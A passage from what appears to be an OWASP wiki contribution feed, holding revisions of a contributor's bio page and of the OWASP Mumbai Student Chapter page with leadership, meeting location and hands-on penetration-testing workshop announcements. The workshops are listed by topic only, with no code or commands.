* Past Contributor in [http://owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet The Popular XSS Filter Evasion Cheat Sheet] where as ,this article is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing.&lt;br /&gt;
* Lead of [https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF SQLi WAF Bypass] a very helpful cheat sheet which consists of a successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete),recommended by many Security Researchers. &lt;br /&gt;
* His contribution to [https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series OWASP Cheat Sheet Project] is the most.&lt;br /&gt;
* Has a part of [https://sites.google.com/site/owaspmumbaichapter/ OWASP Mumbai Student Chapter] he as conducted a webinar for Bug Bounty as well.&lt;br /&gt;
&lt;br /&gt;
== OWASP CWE Project Benchmark ==&lt;br /&gt;
* Contributor in [https://www.owasp.org/index.php/Benchmark OWASP Benchmark],contributed SQLi/XSS fuzz vectors as initial contribution towards adding support for WAF/RASP scoring. Many thanks to [https://www.owasp.org/index.php/Benchmark#tab=Acknowledgements '''Dave Wichers''']&lt;br /&gt;
* Reach me on: mishra.dhiraj@owasp.org &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Bug Bounties==&lt;br /&gt;
[https://www.linkedin.com/in/mishradhiraj/ Dhiraj] as also spoken to BugCrowd LevelUp Conference, his areas of expertise in Application Security have listed him in Hall of Fame for companies and organizations such like, Facebook, Oracle, Intel, Department Of Defense, Bugcrowd, Netgear etc.&amp;lt;br&amp;gt;&lt;br /&gt;
Blog : https://datarift.blogspot.in/&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Dhiraj_Mishra&amp;diff=243723</id>
		<title>Dhiraj Mishra</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Dhiraj_Mishra&amp;diff=243723"/>
				<updated>2018-09-26T06:50:46Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /*Dhiraj Mishra*/&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:Dhiraj-Mishra.png|right|210px|Dhiraj Mishra]]&lt;br /&gt;
==BIO==&lt;br /&gt;
[http://twitter.com/mishradhiraj_ Dhiraj Mishra] is an Cyber Security enthusiast, working with Ernst and Young as an Analyst, seeking ultimately to become a AppSec witchdoctor. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==OWASP Contributions==&lt;br /&gt;
He has been contributing to OWASP from more than a year, as a volunteer to the open community, he is or has been :&amp;lt;br&amp;gt;&lt;br /&gt;
* [https://www.owasp.org/index.php/About_OWASP/Bug_Bounty/WOF OWASP Wall Of Fame]&lt;br /&gt;
* [https://www.owasp.org/index.php/WASPY_Awards_2016 Nominated for WASPY 2016]&lt;br /&gt;
* [https://www.owasp.org/index.php/WASPY_Awards_2017 Nominated for WASPY 2017]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_Speakers_Project#tab=Available_Speakers Speaker of OWASP] for Mumbai, India with the area of Interest in OWASP Top 10 , EASPI , IoT , Dark Web.&lt;br /&gt;
* Helping and Speaking Initiatives in [https://www.owasp.org/index.php/Mumbai OWASP Local Chapter Meet Mumbai] with chapter leader Narenda Choyal.&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Trainers_Database Call_For_Trainers] in OWASP Mumbai, India , being in Trainers DB.&lt;br /&gt;
* As a Chapter leader for [http://owasp.org/index.php/Mumbai_Student_Chapter Mumbai Student Chapter] making student endorse in Information Security and Spreading Idea's and Awareness via Chapter Meets.&lt;br /&gt;
* Authors and Primary Editor's in [https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet SQL Injection Prevention Cheat Sheet.] &lt;br /&gt;
* Author's and Primary Editor's in [https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet DOM Based XSS Prevention Cheat Sheet. ]&lt;br /&gt;
* Past Contributor in [http://owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet The Popular XSS Filter Evasion Cheat Sheet] where as ,this article is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing.&lt;br /&gt;
* Lead of [https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF SQLi WAF Bypass] a very helpful cheat sheet which consists of a successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete),recommended by many Security Researchers. &lt;br /&gt;
* His contribution to [https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series OWASP Cheat Sheet Project] is the most.&lt;br /&gt;
* Has a part of [https://sites.google.com/site/owaspmumbaichapter/ OWASP Mumbai Student Chapter] he as conducted a webinar for Bug Bounty as well.&lt;br /&gt;
&lt;br /&gt;
== OWASP CWE Project Benchmark ==&lt;br /&gt;
* Contributor in [https://www.owasp.org/index.php/Benchmark OWASP Benchmark],contributed SQLi/XSS fuzz vectors as initial contribution towards adding support for WAF/RASP scoring. Many thanks to [https://www.owasp.org/index.php/Benchmark#tab=Acknowledgements '''Dave Wichers''']&lt;br /&gt;
* Reach me on: mishra.dhiraj@owasp.org &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Bug Bounties==&lt;br /&gt;
[https://www.linkedin.com/in/mishradhiraj/ Dhiraj] as also spoken to BugCrowd LevelUp Conference and a bug hunter, his areas of expertise in Application Security have listed him in Hall of Fame for companies and orginizations such like, Facebook, Oracle, Intel, DoD, Bugcrowd, Netgear etc.&amp;lt;br&amp;gt;&lt;br /&gt;
Blog : https://datarift.blogspot.in/&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=243480</id>
		<title>Mumbai Student Chapter</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=243480"/>
				<updated>2018-09-17T07:09:23Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /* Event's Taken */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;font-size:7pt;text-align:right&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Welcome to the OWASP Mumbai Student Chapter.&amp;lt;br&amp;gt;&lt;br /&gt;
The Open Web Application Security Project (OWASP) has local chapters around the world that help teach, learn, and inspire application security. Our [https://www.owasp.org/index.php/OWASP_Student_Chapters_Program Student Chapters Program] helps to extend application security into colleges and universities worldwide.&lt;br /&gt;
&lt;br /&gt;
== OWASP Mumbai Student Chapter ==&lt;br /&gt;
&lt;br /&gt;
Welcome to the Mumbai Student Chapter homepage. &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-Mumbai-student-chapter Click here] to join the local chapter mailing list.&lt;br /&gt;
&lt;br /&gt;
== Contribution To OWASP ==&lt;br /&gt;
* [https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF SQLi ByPassing WAF]&lt;br /&gt;
* [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet The Popular XSS Cheat-Sheet]&lt;br /&gt;
&lt;br /&gt;
== Leadership Team ==&lt;br /&gt;
&lt;br /&gt;
The student chapter leader is &amp;lt;b&amp;gt;[https://www.owasp.org/index.php/About_OWASP/Bug_Bounty/WOF Dhiraj Mishra.]&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
President: [mailto:mishra.dhiraj@owasp.org Dhiraj Mishra]&amp;lt;br&amp;gt;&lt;br /&gt;
Our Faculty Advisor is  [mailto:archanabhide@gmail.com Mrs.Archana Bhide]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Participation == &lt;br /&gt;
OWASP Foundation ([https://docs.google.com/a/owasp.org/presentation/d/1ZgY25F0F7QgScMlB1X7LAa70LtyJql8XqcYdR4suPUo/edit#slide=id.p Overview Slides]) is a professional association of [https://www.owasp.org/index.php/Membership global members] and is and open to anyone interested in learning more about software security. Local chapters are run independently and guided by the [[Chapter_Leader_Handbook]].  As a [http://www.owasp.org/index.php/About_OWASP 501(c)(3)] non-profit professional association your support and sponsorship of any meeting venue and/or refreshments is tax-deductible. Financial contributions should only be made online using the authorized online chapter donation button.  To be a &amp;lt;b&amp;gt;SPEAKER&amp;lt;/b&amp;gt; at ANY OWASP Chapter in the world simply review the [http://www.owasp.org/index.php/Speaker_Agreement speaker agreement] and then contact the local chapter leader with details of what [http://www.owasp.org/index.php/Category:OWASP_Project OWASP PROJECT], independent research or related software security topic you would like to present on.&lt;br /&gt;
&lt;br /&gt;
== Meeting Location ==&lt;br /&gt;
&lt;br /&gt;
[https://fb.com/rjcollege/ Ramniranjan Jhunjhunwala College]&amp;lt;br&amp;gt;&lt;br /&gt;
Ghatkopar (West) Mumbai&amp;lt;br&amp;gt;&lt;br /&gt;
Maharashtra, India.&amp;lt;br&amp;gt;&lt;br /&gt;
Location : https://goo.gl/maps/AMRBZzRBVwk&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Student Chapter]]&lt;br /&gt;
[[Category:Mumbai]]&lt;br /&gt;
[[Category:India]]&lt;br /&gt;
&lt;br /&gt;
==Upcoming Event==&lt;br /&gt;
Date : &lt;br /&gt;
  29-09-2018 (Saturday)&lt;br /&gt;
&lt;br /&gt;
Time :&lt;br /&gt;
  10:30 AM to 12:30 PM&lt;br /&gt;
&lt;br /&gt;
Topic : &lt;br /&gt;
  Popping shell like a boss - Part 2&lt;br /&gt;
&lt;br /&gt;
Venue  :&lt;br /&gt;
  Seminar Hall&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=242824</id>
		<title>Mumbai Student Chapter</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=242824"/>
				<updated>2018-08-25T18:21:42Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /* Event's Taken*/&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;font-size:7pt;text-align:right&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Welcome to the OWASP Mumbai Student Chapter.&amp;lt;br&amp;gt;&lt;br /&gt;
The Open Web Application Security Project (OWASP) has local chapters around the world that help teach, learn, and inspire application security. Our [https://www.owasp.org/index.php/OWASP_Student_Chapters_Program Student Chapters Program] helps to extend application security into colleges and universities worldwide.&lt;br /&gt;
&lt;br /&gt;
== OWASP Mumbai Student Chapter ==&lt;br /&gt;
&lt;br /&gt;
Welcome to the Mumbai Student Chapter homepage. &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-Mumbai-student-chapter Click here] to join the local chapter mailing list.&lt;br /&gt;
&lt;br /&gt;
== Contribution To OWASP ==&lt;br /&gt;
* [https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF SQLi ByPassing WAF]&lt;br /&gt;
* [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet The Popular XSS Cheat-Sheet]&lt;br /&gt;
&lt;br /&gt;
== Leadership Team ==&lt;br /&gt;
&lt;br /&gt;
The student chapter leader is &amp;lt;b&amp;gt;[https://www.owasp.org/index.php/About_OWASP/Bug_Bounty/WOF Dhiraj Mishra.]&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
President: [mailto:mishra.dhiraj@owasp.org Dhiraj Mishra]&amp;lt;br&amp;gt;&lt;br /&gt;
Our Faculty Advisor is  [mailto:archanabhide@gmail.com Mrs.Archana Bhide]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Participation == &lt;br /&gt;
OWASP Foundation ([https://docs.google.com/a/owasp.org/presentation/d/1ZgY25F0F7QgScMlB1X7LAa70LtyJql8XqcYdR4suPUo/edit#slide=id.p Overview Slides]) is a professional association of [https://www.owasp.org/index.php/Membership global members] and is and open to anyone interested in learning more about software security. Local chapters are run independently and guided by the [[Chapter_Leader_Handbook]].  As a [http://www.owasp.org/index.php/About_OWASP 501(c)(3)] non-profit professional association your support and sponsorship of any meeting venue and/or refreshments is tax-deductible. Financial contributions should only be made online using the authorized online chapter donation button.  To be a &amp;lt;b&amp;gt;SPEAKER&amp;lt;/b&amp;gt; at ANY OWASP Chapter in the world simply review the [http://www.owasp.org/index.php/Speaker_Agreement speaker agreement] and then contact the local chapter leader with details of what [http://www.owasp.org/index.php/Category:OWASP_Project OWASP PROJECT], independent research or related software security topic you would like to present on.&lt;br /&gt;
&lt;br /&gt;
== Meeting Location ==&lt;br /&gt;
&lt;br /&gt;
[https://fb.com/rjcollege/ Ramniranjan Jhunjhunwala College]&amp;lt;br&amp;gt;&lt;br /&gt;
Ghatkopar (West) Mumbai&amp;lt;br&amp;gt;&lt;br /&gt;
Maharashtra, India.&amp;lt;br&amp;gt;&lt;br /&gt;
Location : https://goo.gl/maps/AMRBZzRBVwk&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Student Chapter]]&lt;br /&gt;
[[Category:Mumbai]]&lt;br /&gt;
[[Category:India]]&lt;br /&gt;
&lt;br /&gt;
==Event's Taken==&lt;br /&gt;
Date : &lt;br /&gt;
  25-08-2018 (Saturday)&lt;br /&gt;
&lt;br /&gt;
Time :&lt;br /&gt;
  09:45 AM to 12:30 PM&lt;br /&gt;
&lt;br /&gt;
Topic : &lt;br /&gt;
  Popping shell like a boss - Hands On Session&lt;br /&gt;
    * Understating MSF exploit modules&lt;br /&gt;
    * Enumerating the services&lt;br /&gt;
    * Exploiting vulnerable services &lt;br /&gt;
    * Privilege escalation in Windows&lt;br /&gt;
    * Cracking NTLM hashes, understanding PSexec&lt;br /&gt;
    * Finding the flag&lt;br /&gt;
&lt;br /&gt;
Venue  :&lt;br /&gt;
  Seminar Hall&lt;br /&gt;
&lt;br /&gt;
Prerequisite's :&lt;br /&gt;
  Attendees are requested to bring their own laptop, and [https://goo.gl/1knMGf download] this vulnerable windows 7 VM and host locally in&lt;br /&gt;
  your system using virtual box and make sure you have [http://www.metasploit.com/download MSF] installed too :)&lt;br /&gt;
&lt;br /&gt;
Photo :&lt;br /&gt;
[[File:OWASP Mumbai.jpg|center|210px|OWASP Mumbai Student Chapter]]&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=File:OWASP_Mumbai.jpg&amp;diff=242823</id>
		<title>File:OWASP Mumbai.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=File:OWASP_Mumbai.jpg&amp;diff=242823"/>
				<updated>2018-08-25T18:18:50Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: https://www.owasp.org/index.php?title=Mumbai_Student_Chapter&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;https://www.owasp.org/index.php?title=Mumbai_Student_Chapter&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=242721</id>
		<title>Mumbai Student Chapter</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=242721"/>
				<updated>2018-08-22T11:23:35Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /* OWASP Mumbai Upcoming Meets */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;font-size:7pt;text-align:right&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Welcome to the OWASP Mumbai Student Chapter.&amp;lt;br&amp;gt;&lt;br /&gt;
The Open Web Application Security Project (OWASP) has local chapters around the world that help teach, learn, and inspire application security. Our [https://www.owasp.org/index.php/OWASP_Student_Chapters_Program Student Chapters Program] helps to extend application security into colleges and universities worldwide.&lt;br /&gt;
&lt;br /&gt;
== OWASP Mumbai Student Chapter ==&lt;br /&gt;
&lt;br /&gt;
Welcome to the Mumbai Student Chapter homepage. &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-Mumbai-student-chapter Click here] to join the local chapter mailing list.&lt;br /&gt;
&lt;br /&gt;
== Contribution To OWASP ==&lt;br /&gt;
* [https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF SQLi ByPassing WAF]&lt;br /&gt;
* [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet The Popular XSS Cheat-Sheet]&lt;br /&gt;
&lt;br /&gt;
== Leadership Team ==&lt;br /&gt;
&lt;br /&gt;
The student chapter leader is &amp;lt;b&amp;gt;[https://www.owasp.org/index.php/About_OWASP/Bug_Bounty/WOF Dhiraj Mishra.]&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
President: [mailto:mishra.dhiraj@owasp.org Dhiraj Mishra]&amp;lt;br&amp;gt;&lt;br /&gt;
Our Faculty Advisor is  [mailto:archanabhide@gmail.com Mrs.Archana Bhide]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Participation == &lt;br /&gt;
OWASP Foundation ([https://docs.google.com/a/owasp.org/presentation/d/1ZgY25F0F7QgScMlB1X7LAa70LtyJql8XqcYdR4suPUo/edit#slide=id.p Overview Slides]) is a professional association of [https://www.owasp.org/index.php/Membership global members] and is and open to anyone interested in learning more about software security. Local chapters are run independently and guided by the [[Chapter_Leader_Handbook]].  As a [http://www.owasp.org/index.php/About_OWASP 501(c)(3)] non-profit professional association your support and sponsorship of any meeting venue and/or refreshments is tax-deductible. Financial contributions should only be made online using the authorized online chapter donation button.  To be a &amp;lt;b&amp;gt;SPEAKER&amp;lt;/b&amp;gt; at ANY OWASP Chapter in the world simply review the [http://www.owasp.org/index.php/Speaker_Agreement speaker agreement] and then contact the local chapter leader with details of what [http://www.owasp.org/index.php/Category:OWASP_Project OWASP PROJECT], independent research or related software security topic you would like to present on.&lt;br /&gt;
&lt;br /&gt;
== Meeting Location ==&lt;br /&gt;
&lt;br /&gt;
[https://fb.com/rjcollege/ Ramniranjan Jhunjhunwala College]&amp;lt;br&amp;gt;&lt;br /&gt;
Ghatkopar (West) Mumbai&amp;lt;br&amp;gt;&lt;br /&gt;
Maharashtra, India.&amp;lt;br&amp;gt;&lt;br /&gt;
Location : https://goo.gl/maps/AMRBZzRBVwk&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Student Chapter]]&lt;br /&gt;
[[Category:Mumbai]]&lt;br /&gt;
[[Category:India]]&lt;br /&gt;
&lt;br /&gt;
==Upcoming Event's==&lt;br /&gt;
Date : &lt;br /&gt;
  25-08-2018 (Saturday)&lt;br /&gt;
&lt;br /&gt;
Time :&lt;br /&gt;
  09:45 AM to 12:30 PM&lt;br /&gt;
&lt;br /&gt;
Topic : &lt;br /&gt;
  Popping shell like a boss - Hands On Session&lt;br /&gt;
    * Understating MSF exploit modules&lt;br /&gt;
    * Enumerating the services&lt;br /&gt;
    * Exploiting vulnerable services &lt;br /&gt;
    * Privilege escalation in Windows&lt;br /&gt;
    * Cracking NTLM hashes, understanding PSexec&lt;br /&gt;
    * Finding the flag&lt;br /&gt;
&lt;br /&gt;
Venue  :&lt;br /&gt;
  Seminar Hall&lt;br /&gt;
&lt;br /&gt;
Prerequisite's :&lt;br /&gt;
  Attendees are requested to bring their own laptop, and [https://goo.gl/1knMGf download] this vulnerable windows 7 VM and host locally in&lt;br /&gt;
  your system using virtual box and make sure you have [http://www.metasploit.com/download MSF] installed too :)&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=242720</id>
		<title>Mumbai Student Chapter</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=242720"/>
				<updated>2018-08-22T11:22:14Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: OWASP Mumbai&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;font-size:7pt;text-align:right&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Welcome to the OWASP Mumbai Student Chapter.&amp;lt;br&amp;gt;&lt;br /&gt;
The Open Web Application Security Project (OWASP) has local chapters around the world that help teach, learn, and inspire application security. Our [https://www.owasp.org/index.php/OWASP_Student_Chapters_Program Student Chapters Program] helps to extend application security into colleges and universities worldwide.&lt;br /&gt;
&lt;br /&gt;
== OWASP Mumbai Student Chapter ==&lt;br /&gt;
&lt;br /&gt;
Welcome to the Mumbai Student Chapter homepage. &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-Mumbai-student-chapter Click here] to join the local chapter mailing list.&lt;br /&gt;
&lt;br /&gt;
== Contribution To OWASP ==&lt;br /&gt;
* [https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF SQLi ByPassing WAF]&lt;br /&gt;
* [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet The Popular XSS Cheat-Sheet]&lt;br /&gt;
&lt;br /&gt;
== Leadership Team ==&lt;br /&gt;
&lt;br /&gt;
The student chapter leader is &amp;lt;b&amp;gt;[https://www.owasp.org/index.php/About_OWASP/Bug_Bounty/WOF Dhiraj Mishra.]&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
President: [mailto:mishra.dhiraj@owasp.org Dhiraj Mishra]&amp;lt;br&amp;gt;&lt;br /&gt;
Our Faculty Advisor is  [mailto:archanabhide@gmail.com Mrs.Archana Bhide]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Participation == &lt;br /&gt;
OWASP Foundation ([https://docs.google.com/a/owasp.org/presentation/d/1ZgY25F0F7QgScMlB1X7LAa70LtyJql8XqcYdR4suPUo/edit#slide=id.p Overview Slides]) is a professional association of [https://www.owasp.org/index.php/Membership global members] and is and open to anyone interested in learning more about software security. Local chapters are run independently and guided by the [[Chapter_Leader_Handbook]].  As a [http://www.owasp.org/index.php/About_OWASP 501(c)(3)] non-profit professional association your support and sponsorship of any meeting venue and/or refreshments is tax-deductible. Financial contributions should only be made online using the authorized online chapter donation button.  To be a &amp;lt;b&amp;gt;SPEAKER&amp;lt;/b&amp;gt; at ANY OWASP Chapter in the world simply review the [http://www.owasp.org/index.php/Speaker_Agreement speaker agreement] and then contact the local chapter leader with details of what [http://www.owasp.org/index.php/Category:OWASP_Project OWASP PROJECT], independent research or related software security topic you would like to present on.&lt;br /&gt;
&lt;br /&gt;
== Meeting Location ==&lt;br /&gt;
&lt;br /&gt;
[https://fb.com/rjcollege/ Ramniranjan Jhunjhunwala College]&amp;lt;br&amp;gt;&lt;br /&gt;
Ghatkopar (West) Mumbai&amp;lt;br&amp;gt;&lt;br /&gt;
Maharashtra, India.&amp;lt;br&amp;gt;&lt;br /&gt;
Location : https://goo.gl/maps/AMRBZzRBVwk&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Student Chapter]]&lt;br /&gt;
[[Category:Mumbai]]&lt;br /&gt;
[[Category:India]]&lt;br /&gt;
&lt;br /&gt;
==Upcoming Event's==&lt;br /&gt;
Date : &lt;br /&gt;
  25-08-2018 (Saturday)&lt;br /&gt;
&lt;br /&gt;
Time :&lt;br /&gt;
  09:45 AM to 12:30 PM&lt;br /&gt;
&lt;br /&gt;
Topic : &lt;br /&gt;
  Popping shell like a boss - Hands On Session&lt;br /&gt;
    * Understating MSF exploit modules&lt;br /&gt;
    * Enumerating the services&lt;br /&gt;
    * Exploiting vulnerable services &lt;br /&gt;
    * Privilege escalation in Windows&lt;br /&gt;
    * Cracking NTLM hashes, understanding PSexec&lt;br /&gt;
    * Finding the flag&lt;br /&gt;
&lt;br /&gt;
Venue  :&lt;br /&gt;
  Seminar Hall&lt;br /&gt;
&lt;br /&gt;
Prerequisite's :&lt;br /&gt;
  Attendees are requested to bring their own laptop, and [https://goo.gl/1knMGf download] this vulnerable windows 7 VM and host locally in your system using virtual box and make sure you have [http://www.metasploit.com/download MSF] installed too :)&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=242677</id>
		<title>Mumbai Student Chapter</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=242677"/>
				<updated>2018-08-20T17:35:05Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /* Upcoming Event's */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;font-size:7pt;text-align:right&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Welcome to the OWASP Mumbai Student Chapter.&amp;lt;br&amp;gt;&lt;br /&gt;
The Open Web Application Security Project (OWASP) has local chapters around the world that help teach, learn, and inspire application security. Our [https://www.owasp.org/index.php/OWASP_Student_Chapters_Program Student Chapters Program] helps to extend application security into colleges and universities worldwide.&lt;br /&gt;
&lt;br /&gt;
== OWASP Mumbai Student Chapter ==&lt;br /&gt;
&lt;br /&gt;
Welcome to the Mumbai Student Chapter homepage. &lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/owasp-Mumbai-student-chapter Click here] to join the local chapter mailing list.&lt;br /&gt;
&lt;br /&gt;
== Contribution To OWASP ==&lt;br /&gt;
* [https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF SQLi ByPassing WAF]&lt;br /&gt;
* [https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet The Popular XSS Cheat-Sheet]&lt;br /&gt;
&lt;br /&gt;
== Leadership Team ==&lt;br /&gt;
&lt;br /&gt;
The student chapter leader is &amp;lt;b&amp;gt;[https://www.owasp.org/index.php/About_OWASP/Bug_Bounty/WOF Dhiraj Mishra.]&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
President: [mailto:mishra.dhiraj@owasp.org Dhiraj Mishra]&amp;lt;br&amp;gt;&lt;br /&gt;
Our Faculty Advisor is  [mailto:archanabhide@gmail.com Mrs.Archana Bhide]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Participation == &lt;br /&gt;
OWASP Foundation ([https://docs.google.com/a/owasp.org/presentation/d/1ZgY25F0F7QgScMlB1X7LAa70LtyJql8XqcYdR4suPUo/edit#slide=id.p Overview Slides]) is a professional association of [https://www.owasp.org/index.php/Membership global members] and is and open to anyone interested in learning more about software security. Local chapters are run independently and guided by the [[Chapter_Leader_Handbook]].  As a [http://www.owasp.org/index.php/About_OWASP 501(c)(3)] non-profit professional association your support and sponsorship of any meeting venue and/or refreshments is tax-deductible. Financial contributions should only be made online using the authorized online chapter donation button.  To be a &amp;lt;b&amp;gt;SPEAKER&amp;lt;/b&amp;gt; at ANY OWASP Chapter in the world simply review the [http://www.owasp.org/index.php/Speaker_Agreement speaker agreement] and then contact the local chapter leader with details of what [http://www.owasp.org/index.php/Category:OWASP_Project OWASP PROJECT], independent research or related software security topic you would like to present on.&lt;br /&gt;
&lt;br /&gt;
== Meeting Location ==&lt;br /&gt;
&lt;br /&gt;
[https://fb.com/rjcollege/ Ramniranjan Jhunjhunwala College]&amp;lt;br&amp;gt;&lt;br /&gt;
Ghatkopar (West) Mumbai&amp;lt;br&amp;gt;&lt;br /&gt;
Maharashtra, India.&amp;lt;br&amp;gt;&lt;br /&gt;
Location : https://goo.gl/maps/AMRBZzRBVwk&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Student Chapter]]&lt;br /&gt;
[[Category:Mumbai]]&lt;br /&gt;
[[Category:India]]&lt;br /&gt;
&lt;br /&gt;
==Upcoming Event's==&lt;br /&gt;
Date : &lt;br /&gt;
  25-08-2018 (Saturday)&lt;br /&gt;
&lt;br /&gt;
Time :&lt;br /&gt;
  09:45 AM to 12:30 PM&lt;br /&gt;
&lt;br /&gt;
Topic : &lt;br /&gt;
  Popping shell like a boss - Hands On Session&lt;br /&gt;
    * Understating MSF exploit modules&lt;br /&gt;
    * Enumerating the services&lt;br /&gt;
    * Exploiting vulnerable services &lt;br /&gt;
    * Privilege escalation in Windows&lt;br /&gt;
    * Cracking NTLM hashes, understanding PSexec&lt;br /&gt;
    * Finding the flag&lt;br /&gt;
&lt;br /&gt;
Venue  :&lt;br /&gt;
  Seminar Hall&lt;br /&gt;
&lt;br /&gt;
Prerequisite's :&lt;br /&gt;
  Attendees are requested to bring their own laptop, with MSF installed&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=242649</id>
		<title>Mumbai Student Chapter</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Mumbai_Student_Chapter&amp;diff=242649"/>
				<updated>2018-08-19T19:23:14Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /* Upcoming Event's */&lt;/p&gt;
&lt;hr /&gt;
